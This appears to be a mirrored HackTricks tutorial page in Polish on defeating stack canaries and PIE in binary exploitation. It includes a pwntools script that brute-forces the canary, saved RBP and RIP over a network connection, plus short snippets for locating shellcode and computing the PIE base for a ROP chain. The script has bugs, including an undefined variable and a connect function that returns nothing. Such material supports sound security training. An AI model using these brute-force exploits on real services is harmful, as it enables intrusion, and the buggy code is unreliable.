mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
91 lines
4.4 KiB
Markdown
91 lines
4.4 KiB
Markdown
# BF Adresy w Stosie
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|
|
|
|
**Jeśli masz do czynienia z binarnym plikiem chronionym przez canary i PIE (Position Independent Executable), prawdopodobnie musisz znaleźć sposób na ich obejście.**
|
|
|
|
.png>)
|
|
|
|
> [!NOTE]
|
|
> Zauważ, że **`checksec`** może nie wykryć, że binarny plik jest chroniony przez canary, jeśli został skompilowany statycznie i nie jest w stanie zidentyfikować funkcji.\
|
|
> Możesz jednak zauważyć to ręcznie, jeśli odkryjesz, że wartość jest zapisywana w stosie na początku wywołania funkcji, a ta wartość jest sprawdzana przed wyjściem.
|
|
|
|
## Brute-Force Adresy
|
|
|
|
Aby **obejść PIE**, musisz **wyciekować jakiś adres**. A jeśli binarny plik nie wycieka żadnych adresów, najlepiej jest **brute-forcować RBP i RIP zapisane w stosie** w podatnej funkcji.\
|
|
Na przykład, jeśli binarny plik jest chroniony zarówno przez **canary**, jak i **PIE**, możesz zacząć brute-forcować canary, a następnie **następne** 8 bajtów (x64) będą zapisanym **RBP**, a **następne** 8 bajtów będą zapisanym **RIP.**
|
|
|
|
> [!TIP]
|
|
> Zakłada się, że adres powrotu w stosie należy do głównego kodu binarnego, co, jeśli podatność znajduje się w kodzie binarnym, zazwyczaj będzie miało miejsce.
|
|
|
|
Aby brute-forcować RBP i RIP z binarnego pliku, możesz ustalić, że zgadnięty bajt jest poprawny, jeśli program coś wyświetli lub po prostu nie zawiesi się. **Ta sama funkcja** jak ta podana do brute-forcowania canary może być użyta do brute-forcowania RBP i RIP:
|
|
```python
|
|
from pwn import *
|
|
|
|
def connect():
|
|
r = remote("localhost", 8788)
|
|
|
|
def get_bf(base):
|
|
canary = ""
|
|
guess = 0x0
|
|
base += canary
|
|
|
|
while len(canary) < 8:
|
|
while guess != 0xff:
|
|
r = connect()
|
|
|
|
r.recvuntil("Username: ")
|
|
r.send(base + chr(guess))
|
|
|
|
if "SOME OUTPUT" in r.clean():
|
|
print "Guessed correct byte:", format(guess, '02x')
|
|
canary += chr(guess)
|
|
base += chr(guess)
|
|
guess = 0x0
|
|
r.close()
|
|
break
|
|
else:
|
|
guess += 1
|
|
r.close()
|
|
|
|
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
|
|
return base
|
|
|
|
# CANARY BF HERE
|
|
canary_offset = 1176
|
|
base = "A" * canary_offset
|
|
print("Brute-Forcing canary")
|
|
base_canary = get_bf(base) #Get yunk data + canary
|
|
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
|
|
|
|
# PIE BF FROM HERE
|
|
print("Brute-Forcing RBP")
|
|
base_canary_rbp = get_bf(base_canary)
|
|
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
|
|
print("Brute-Forcing RIP")
|
|
base_canary_rbp_rip = get_bf(base_canary_rbp)
|
|
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
|
|
```
|
|
Ostatnią rzeczą, której potrzebujesz, aby pokonać PIE, jest obliczenie **przydatnych adresów z wyciekłych** adresów: **RBP** i **RIP**.
|
|
|
|
Z **RBP** możesz obliczyć **gdzie zapisujesz swój shell w stosie**. Może to być bardzo przydatne, aby wiedzieć, gdzie zamierzasz zapisać ciąg _"/bin/sh\x00"_ w stosie. Aby obliczyć odległość między wyciekłym RBP a twoim shellcode, możesz po prostu ustawić **punkt przerwania po wycieku RBP** i sprawdzić **gdzie znajduje się twój shellcode**, a następnie możesz obliczyć odległość między shellcode a RBP:
|
|
```python
|
|
INI_SHELLCODE = RBP - 1152
|
|
```
|
|
Z **RIP** możesz obliczyć **adres bazowy binarnego pliku PIE**, który będzie potrzebny do stworzenia **ważnego łańcucha ROP**.\
|
|
Aby obliczyć adres bazowy, wystarczy wykonać `objdump -d vunbinary` i sprawdzić ostatnie adresy w disassemblacji:
|
|
|
|
.png>)
|
|
|
|
W tym przykładzie widać, że potrzebne jest tylko **1,5 bajta**, aby zlokalizować cały kod, więc adres bazowy w tej sytuacji będzie **wyciekłym RIP, ale kończącym się na "000"**. Na przykład, jeśli wyciekł `0x562002970ecf`, adres bazowy to `0x562002970000`.
|
|
```python
|
|
elf.address = RIP - (RIP & 0xfff)
|
|
```
|
|
## Ulepszenia
|
|
|
|
Zgodnie z [**niektórymi obserwacjami z tego posta**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), możliwe jest, że podczas wycieku wartości RBP i RIP, serwer nie zawiesi się przy niektórych wartościach, które nie są poprawne, a skrypt BF pomyśli, że otrzymał dobre. Dzieje się tak, ponieważ **niektóre adresy po prostu nie spowodują awarii, nawet jeśli nie są dokładnie poprawne**.
|
|
|
|
Zgodnie z tym wpisem na blogu zaleca się wprowadzenie krótkiego opóźnienia między żądaniami do serwera.
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|